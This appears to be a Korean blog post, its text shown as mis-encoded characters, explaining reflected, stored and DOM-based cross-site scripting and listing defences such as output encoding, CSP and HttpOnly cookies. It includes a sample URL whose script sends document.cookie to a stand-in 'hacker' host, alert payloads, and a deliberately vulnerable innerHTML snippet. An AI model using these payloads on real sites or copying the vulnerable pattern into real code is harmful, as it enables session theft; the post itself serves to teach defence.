XSS(Cross-Site Scripting)
XSSλ μΉ λ³΄μ μ·¨μ½μ μ€ νλλ‘, 곡격μκ° μ
μ± μ€ν¬λ¦½νΈλ₯Ό λ€λ₯Έ μ¬μ©μμ λΈλΌμ°μ μμ μ€ννκ² λ§λλ 곡격 κΈ°λ²μ΄λ€.
μ£Όλ‘ μΉ μ ν리μΌμ΄μ
μ μ
λ ₯ κ²μ¦ λ―ΈλΉλ‘ μΈν΄ λ°μνλ©°, 곡격μλ μ΄λ₯Ό ν΅ν΄ μ¬μ©μμ μΏ ν€, μΈμ
ν ν° λλ κΈ°ν λ―Όκ°ν μ 보λ₯Ό νμ·¨νκ±°λ, μ¬μ©μλ₯Ό νΌμ± μ¬μ΄νΈλ‘ 리λλ μ
νκ±°λ, μνμ§ μλ νλμ μννκ² ν μ μλ€.
μ ν
1. λ°μ¬ν XSS(Reflected XSS)
μ¬μ©μκ° μ λ ₯ν λ°μ΄ν°κ° μλ²μ μ μ₯λμ§ μκ³ μ¦μ λ°μ¬λμ΄ μ¬μ©μμκ² λ°νλ λ λ°μνλ€. μΌλ°μ μΌλ‘ URL 맀κ°λ³μλ μμ μ λ ₯ κ°μ΄ HTML νμ΄μ§μ ν¬ν¨λ λ λ°μνλ€.
<form method="GET" action="search">
<input type="text" name="q">
<input type="submit" name="Search">
</form>
μ¬μ©μκ° "q" 맀κ°λ³μμ μ μ± μ€ν¬λ¦½νΈλ₯Ό μ λ ₯νλ©΄, μλ²λ μ΄ μ λ ₯κ°μ κ²μ¦ μμ΄ κ·Έλλ‘ HTML νμ΄μ§μ λ°μν μ μμ
http://example.com/search?q=<script>location.href("http://hacker/cookie.php?value="+document.cookie);</script>
μμ μ€ν¬λ¦½νΈλ λ³ΈμΈμ μΉνμ΄μ§λ‘ URLμ ν΄λ¦ν μ¬μ©μμ μΏ ν€ κ°μ΄ μ μ‘λλ€. λ§ν¬λ₯Ό ν΄λ¦ν μ¬μ©μλ ν΄μ»€μκ² λ³ΈμΈμ μλμλ κ΄κ³μμ΄ μμ μ μΏ ν€ κ°μ μ μ‘νκ² λλ€.
2. μ μ₯ν/μ§μν XSS(Stored XSS / Persistent XSS)
μ μ± μ λ ₯κ°μ΄ μλ²μ μ μ₯λκ³ , λμ€μ λ€λ₯Έ μ¬μ©μμκ² μ λ¬λ λ λ°μνλ€. μ£Όλ‘ λκΈ, κ²μλ¬Ό, νλ‘ν μ 보μ κ°μ μ¬μ©μ μμ± μ½ν μΈ κ° μλ μΉμ¬μ΄νΈμμ λ°μνλ€.
<script>alert('XSS');</script>
λ§μ½ κ²μνμ λ€μκ³Ό κ°μ μ μ± μ€ν¬λ¦½νΈλ₯Ό κ²μνλ€λ©΄, λ€λ₯Έ μ¬μ©μλ€μ΄ μ΄ κ²μλ¬Όμ λ³Ό λλ§λ€ μ€ν¬λ¦½νΈκ° μ€νλλ€.
3. DOM κΈ°λ° XSS(DOM-based XSS)
μλ²μμ μνΈμμ© μμ΄ ν΄λΌμ΄μΈνΈ μΈ‘μμ λ°μνλ€.
μ¦, JavaScriptκ° DOM(Document Object Model)μ μ‘°μνλ©΄μ μ
μ± μ€ν¬λ¦½νΈλ₯Ό μ€ννλ κ²½μ°μ΄λ€.
곡격μλ URL μ‘°μμ ν΅ν΄ μ
μ± νμ΄λ‘λλ₯Ό μ£Όμ
ν μ μλ€.
μ
μμ μΈ μ€ν¬λ¦½νΈκ° ν¬ν¨λ URLμ μ¬μ©μκ° μμ²νκ² λμ΄ λΈλΌμ°μ λ₯Ό ν΄μνλ λ¨κ³μμ λ°μνλ 곡격μ΄λ€.
λ€λ₯Έ XSS 곡격과λ λ€λ₯΄κ² μλ² μΈ‘μμ νμ§κ° μ΄λ ΅λ€. λ°μ urlμ 보면 #
μ μ¬μ©νλλ°, μ΄ #
μ΄νμ κ°μ μλ²λ‘ μ μ‘λμ§ μλ κΈ°λ₯μ κ°μ§κ³ μλ€.
<script>
var search = window.location.hash.substring(1);
document.getElementById("result").innerHTML = search;
</script>
μ¬μ©μκ° λ€μκ³Ό κ°μ URLλ‘ μ κ·Όνλ©΄,
http://example.com/#<script>alert(document.cookie);</script>
κ°μ μ€ν¬λ¦½νΈκ° μ€νλλ€.
μλ°© λ°©λ²
1. μ λ ₯ κ° κ²μ¦ λ° μΈμ½λ©
μ¬μ©μλ‘λΆν° μ λ ₯λ°μ λͺ¨λ λ°μ΄ν°λ μλ²μ μ μ₯λκ±°λ HTML νμ΄μ§μ ν¬ν¨λκΈ° μ μ λ°λμ κ²μ¦νκ³ μΈμ½λ©ν΄μΌ νλ€.
- HTML μΈμ½λ© :
&
,<
,>
,"
,'
λ±μ λ¬Έμλ₯Ό HTML μν°ν°λ‘ λ³ν - JavaScript μΈμ½λ© : λ¬Έμμ΄μ μμ νκ² JS μ½λμ ν¬ν¨
- URL μΈμ½λ© : URL λ΄μ ν¬ν¨λ λ°μ΄ν°λ₯Ό μΈμ½λ©
2. μΆλ ₯ μ μΈμ½λ©
μλ²μμ λ°μ΄ν°λ₯Ό λ°νν λλ νμ μ μ ν μΈμ½λ©μ μ μ©
- HTML 컨ν
μ€νΈ :
htmlspecialchars
μ¬μ©htmlspecialchars λ?
phpμμ μ 곡νλ ν¨μλ‘, HTML νκ·Έλ‘ ν΄μλ μ μλ νΉμ λ¬Έμλ₯Ό HTML μν°ν°λ‘ λ³ννμ¬ μΆλ ₯νλ ν¨μ - JavaScript 컨ν μ€νΈ: JSON.stringfy λλJS μΈμ½λ© λΌμ΄λΈλ¬λ¦¬ μ¬μ©
3. Content Security Policy (CSP) μ€μ
CSPλ₯Ό μ¬μ©νμ¬ μ λ’°ν μ μλ μΆμ²μμλ§ μ€ν¬λ¦½νΈλ₯Ό λ‘λνλλ‘ μ ν
μ΄λ₯Ό ν΅ν΄ μΈλΌμΈ μ€ν¬λ¦½νΈμ μ€νμ λ°©μ§ν μ μλ€.
4. HttpOnly μΏ ν€ μ¬μ©
JSμμ μ κ·Όν μ μλ μΏ ν€λ₯Ό μ€μ νμ¬ XSSλ₯Ό ν΅ν μΏ ν€ νμ·¨ λ°©μ§
5.보μ λΌμ΄λΈλ¬λ¦¬ μ¬μ©
OWASPμ ESAPI λΌμ΄λΈλ¬λ¦¬μ κ°μ 보μ λΌμ΄λΈλ¬λ¦¬λ₯Ό μ¬μ©νμ¬ μΌλ°μ μΈ λ³΄μ λ¬Έμ λ₯Ό ν΄κ²°
6. XSS λ°©μ΄ λΌμ΄λΈλ¬λ¦¬, λΈλΌμ°μ νμ₯μ± μ¬μ©
μ¬μ©μλ€μ΄ κ°μ λ³ΈμΈμ λΈλΌμ°μ μμ μ μμ μΈ μ€ν¬λ¦½νΈκ° μ€νλμ§ μλλ‘ λ°©μ΄
7. μΉ λ°©νλ²½ μ¬μ©
XSS λΏ μλλΌ κ°μ’ Injection 곡격μ ν¨κ³Όμ μΌλ‘ λ°©μ΄ν μ μλ€.
'μ 무 νμ μ§μ' μΉ΄ν κ³ λ¦¬μ λ€λ₯Έ κΈ
[Network] L3, λ°±λ³Έ, ACL ? (0) | 2024.06.20 |
---|---|
[λ€νΈμν¬] κ³΅μΈ IP vs μ¬μ€ IP β (0) | 2024.06.05 |
WAS-T ? (0) | 2024.06.05 |
[GIT] μ SVNμμ GITμΌλ‘? (0) | 2024.05.30 |
[Network] NAS ? (0) | 2024.05.29 |